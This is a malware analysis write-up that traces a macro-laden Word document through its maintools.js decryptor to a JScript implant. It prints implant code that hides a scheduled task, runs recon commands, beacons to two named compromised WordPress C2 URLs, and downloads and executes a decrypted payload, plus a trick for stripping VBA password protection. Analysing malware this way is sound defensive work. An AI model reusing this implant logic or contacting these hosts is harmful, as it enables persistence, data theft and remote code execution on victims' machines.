TL;DR#
A malicious Word document executes a password-protected VBA macro on open, which drops and runs maintools.js with the passphrase EzZETcSXyKAdF_e5I2i1. The script Base64-decodes and RC4-decrypts an embedded blob into stage2.js — a full implant that copies itself to AppData, registers a hidden logon scheduled task named TaskManager, runs 22 recon commands, and enters an infinite loop beaconing to two compromised WordPress sites. On a "work" response from the C2, it downloads, decrypts, and executes a next-stage .pif binary, then deletes it after 30 seconds.
Initial Analysis#
1MD5: 49b367ac261a722a7c2bbbc328c32545
2SHA256: ff2c8cadaa0fd8da6138cce6fce37e001f53a5d9ceccd67945b15ae273f4d751
3
4Composite Document File V2 Document, Little Endian
5OS: Windows, Version 6.1, Code page: 1252
6Author: user — Last Saved By: John
7Created: Fri Nov 25 19:04:00 2016
8Last Saved: Fri Nov 25 20:04:00 2016
9Revision: 11, Pages: 1, Words: 320, Characters: 1828
10Creating Application: Microsoft Office Word
11Total Editing Time: 08:00olevba#
olevba extracted the full VBA source. The macro defines two auto-execution triggers — AutoOpen and AutoClose — and employs several suspicious primitives: file I/O via Open, Put, and Binary; process execution via Shell, WScript.Shell, and Run; OLE object creation via CreateObject; XOR-based string obfuscation; and embedded Base64 strings. The only identified IOC is the filename maintools.js.
1+----------+--------------------+---------------------------------------------+
2|Type |Keyword |Description |
3+----------+--------------------+---------------------------------------------+
4|AutoExec |AutoOpen |Runs when the Word document is opened |
5|AutoExec |AutoClose |Runs when the Word document is closed |
6|Suspicious|Environ |May read system environment variables |
7|Suspicious|Open |May open a file |
8|Suspicious|Put |May write to a file (if combined with Open) |
9|Suspicious|Binary |May read or write a binary file |
10|Suspicious|Kill |May delete a file |
11|Suspicious|Shell |May run an executable file or a system cmd |
12|Suspicious|WScript.Shell |May run an executable file or a system cmd |
13|Suspicious|Run |May run an executable file or a system cmd |
14|Suspicious|CreateObject |May create an OLE object |
15|Suspicious|Windows |May enumerate application windows |
16|Suspicious|Xor |May attempt to obfuscate specific strings |
17|Suspicious|Base64 Strings |Base64-encoded strings detected |
18|IOC |maintools.js |Executable file name |
19+----------+--------------------+---------------------------------------------+VBA analysis#
Bypassing password protection#
The macro creates a WScript.Shell object via CreateObject, writes an embedded payload to disk as maintools.js, and executes it using the .Run method with a decryption key passed as a command-line argument.
I opened the document and accessed the VBA editor via ALT+F11, to inspect the macro source without triggering execution. The VBA project was password-protected.

I opened the document in HxD Hex Editor and patched the protection flag from DPB= to DPx=, invalidating the password hash.

Reopening the document raised error #40230, which I dismissed. I then opened the project properties and set a new password, restoring full access to the macro source for modification and debugging.
Extracting payload from VBA#
I commented out the .Run call and replaced it with a MsgBox statement, to surface the resolved payload path without triggering execution:
1' R66BpJMgxXBo2h.Run """" + OBKHLrC3vEDjVL + """" + " EzZETcSXyKAdF_e5I2i1"
2MsgBox "Path: " & OBKHLrC3vEDjVL

maintools.js#
The script decrypts the embedded payload using CpPT(key, data). The decryption key is the first argument passed from the VBA shell call: EzZETcSXyKAdF_e5I2i1. The decrypted payload is then executed directly in memory via eval():
1R66BpJMgxXBo2h.Run """" + OBKHLrC3vEDjVL + """" + " EzZETcSXyKAdF_e5I2i1" 1try {
2 var wvy1 = WScript.Arguments;
3 var ssWZ = wvy1(0); // key = "EzZETcSXyKAdF_e5I2i1"
4 var mw_payload = y3zb(); // retrieve encrypted blob
5 mw_payload = LXv5(mw_payload); // base64 decode
6 mw_payload = CpPT(ssWZ, mw_payload); // decrypt
7 eval(mw_payload); // execute
8} catch (e) {
9 WScript.Quit();
10}
11
12function LXv5(d27x) {
13 var LUK7 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
14 //...[snip]...
15}
16
17function CpPT(bOe3, F5vZ) { // decryption
18 var AWy7 = [];
19 var V2Vl = 0;
20 for (var i = 0; i < 256; i++) { AWy7[i] = i; }
21 for (var i = 0; i < 256; i++) {
22 V2Vl = (V2Vl + AWy7[i] + bOe3.charCodeAt(i % bOe3.length)) % 256;
23 //...[snip]...
24}
25
26function y3zb() { // encrypted payload blob
27 var qGxZ = "zAubgpaJRj0..."
28 return qGxZ;
29}controlled execution#
To extract payload I modified the main logic - replaced WScript.Arguments with the hardcoded passphrase, removed eval(), and added fs.writeFileSync to write the decrypted result to disk as stage2.js:
1try {
2 var ssWZ = 'EzZETcSXyKAdF_e5I2i1';
3 var mw_payload = y3zb();
4 mw_payload = LXv5(mw_payload);
5 mw_payload = CpPT(ssWZ, mw_payload);
6 const fs = require('fs');
7 fs.writeFileSync('stage2.js', mw_payload);
8 console.log('done.');
9} catch (e) {
10 WScript.Quit();
11}I executed the modified script and received stage2.js on disk.

stage2.js#
Initialization#
It was heavily obfuscated, like the previous stage.
I applied a JS beautifier to the output and started analysis.
At the top of the script several variables are declared. The variable urls contains two URLs — likely C2 endpoints hosted on compromised WordPress sites. The variable commnds_for_info_gath is an array of 22 shell commands used for system reconnaissance. Then the script calls TfOh(), which captures the victim’s username via WScript.Network and generates a random string, likely used as a session identifier for C2 communication.
1var urls = new Array("http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php", "http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php");
2var tpO8 = "w3LxnRSbJcqf8HrU";
3var commnds_for_info_gath = new Array("systeminfo > ", "net view >> "...);
4var QUjy = new ActiveXObject("Scripting.FileSystemObject");
5var LIxF = WScript.ScriptName;
6var w5mY_username = "";Persistence#
The main block starts by resolving the drop path via Blgx(), which receives a WScript.Shell object from bIdG(). Blgx() then selects a writable directory for file operations, preferring AppData\Local\Microsoft\Windows\, falling back to Temp, and then the legacy Application Data path if neither exists.
1var wyKN_filepath = Blgx(bIdG());
2try {
3 var WE86 = bIdG();
4 rGcR();
5 jSm8();
6} catch (e) {
7 WScript.Quit();
8}
9//...[snip]...
10function Blgx(gaWo) {
11 wyKN_filepath = "c:\Users\\" + w5mY_username + "\AppData\Local\Microsoft\Windows\";
12 if (!QUjy.FOLDEREXISTS(wyKN_filepath))
13 wyKN_filepath = "c:\Users\" + w5mY_username + "\AppData\Local\Temp\";
14 if (!QUjy.FOLDEREXISTS(wyKN_filepath))
15 wyKN_filepath = "c:\Documents and Settings\" + w5mY_username + "\Application Data\Microsoft\Windows\";
16 return wyKN_filepath
17}After the path is resolved, rGcR() is called for persistence. It copies the script to the drop path and registers a hidden scheduled task named TaskManager under the display name Windows Task Manager to blend with legitimate system tasks. The task triggers on user logon and executes the dropped script with the passphrase EzZETcSXyKAdF_e5I2i1 as an argument.
1function rGcR() {
2 v_FileName = wyKN_filepath + LIxF.substring(0, LIxF.length - 2) + "js";
3 QUjy.COPYFILE(WScript.ScriptFullName, wyKN_filepath + LIxF);
4 var HFp7 = (Math.random() * 150 + 350) * 1000;
5 WScript.Sleep(HFp7);
6 eV_C("TaskManager", "Windows Task Manager", w5mY_username, v_FileName, "EzZETcSXyKAdF_e5I2i1", wyKN_filepath, true);
7}С2 loop#
After persistence is established, jSm8() starts the main C2 loop.
It first calls Fv6b() to collect and encrypt system reconnaissance data, then enters an infinite loop that iterates over both C2 URLs, sending the data and processing the server’s response. Fv6b() runs all 22 recon commands via cmd.exe, appending their output to a temp file ~dat.tmp. The file is then read and passed through the encryption function from with the hardcoded key 2f532d6baec3d0ec7b1f98aed4774843. After each full iteration the script sleeps for a random interval between 1 and 1.5 hours.
1function jSm8() {
2 var enc_info = Fv6b();
3 while (true) {
4 for (var i = 0; i < urls.length; i++) {
5 var each_url = urls[i];
6 var f3cb = XEWG(each_url, enc_info);
7 switch (f3cb) {
8 case "good": break;
9 case "exit": WScript.Quit(); break;
10 case "work": XBL3(each_url); break;
11 case "fail": tbMu(); break;
12 }
13 TfOh();
14 }
15 WScript.Sleep((Math.random() * 300 + 3600) * 1000);
16 }
17}
18//...[snip]...
19function Fv6b() {
20 var infofile = wyKN_filepath + "~dat.tmp";
21 for (var i = 0; i < commnds_for_info_gath.length; i++) {
22 WE86.Run("cmd.exe /c " + commnds_for_info_gath[i] + "\"" + infofile + "\"", 0, true);
23 }
24 var nRVN = UspD(infofile);
25 WScript.Sleep(1000);
26 QUjy.DELETEFILE(infofile);
27 return FXx9("2f532d6baec3d0ec7b1f98aed4774843", nRVN);
28}XEWG() sends the encrypted recon data to the C2 via HTTP POST. The server response text is returned and controls the switch in jSm8().
1function XEWG(url, data) {
2 var Kpxo = new ActiveXObject("MSXML2.XMLHTTP");
3 Kpxo.OPEN("post", url, false);
4 Kpxo.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + Sz8k());
5 Kpxo.SETREQUESTHEADER("content-type:", "application/octet-stream");
6 var rRi3 = hLit(data, true);
7 Kpxo.SETREQUESTHEADER("content-length:", rRi3.length);
8 Kpxo.SEND(rRi3);
9 return Kpxo.responseText;
10}On a "work" response, XBL3() is called. It sends a POST request with the body "work" to the C2 and downloads a binary payload from the response. The payload is decrypted with FXx9() using the same key 2f532d6baec3d0ec7b1f98aed4774843, written to disk as a .pif file, and executed. After 30 seconds the file is deleted.
1function XBL3(url) {
2 var pif_filename = wyKN_filepath + LIxF.substring(0, LIxF.length - 2) + "pif";
3 var Kpxo = new ActiveXObject("MSXML2.XMLHTTP");
4 Kpxo.OPEN("post", url, false);
5 Kpxo.SETREQUESTHEADER("content-length:", "4");
6 Kpxo.SEND("work");
7 if (Kpxo.STATUS == 200) {
8 var c0xi = m3mH.ReadText(m3mH.Size);
9 var ptF0 = FXx9("2f532d6baec3d0ec7b1f98aed4774843", cz_b(c0xi));
10 NoRS(ptF0, pif_filename); // write to disk
11 }
12 c5ae(pif_filename, url); // execute
13 WScript.Sleep(30000);
14 QUjy.DELETEFILE(pif_filename);
15}IOCs#
Files
- maintools.js — first-stage JS payload dropped by VBA macro
- stage2.js — second-stage implant decrypted from maintools.js
- ~dat.tmp — temporary recon output file, deleted after use
- dropped .pif — next-stage binary, deleted after execution
Network
- http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php
- http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php
Encryption keys
- EzZETcSXyKAdF_e5I2i1 — passphrase for maintools.js
- 2f532d6baec3d0ec7b1f98aed4774843 — key for recon data and payload decryption
Persistence
- Scheduled task: TaskManager — display name Windows Task Manager, logon trigger, hidden
Document
- MD5: 49b367ac261a722a7c2bbbc328c32545
- SHA256: ff2c8cadaa0fd8da6138cce6fce37e001f53a5d9ceccd67945b15ae273f4d751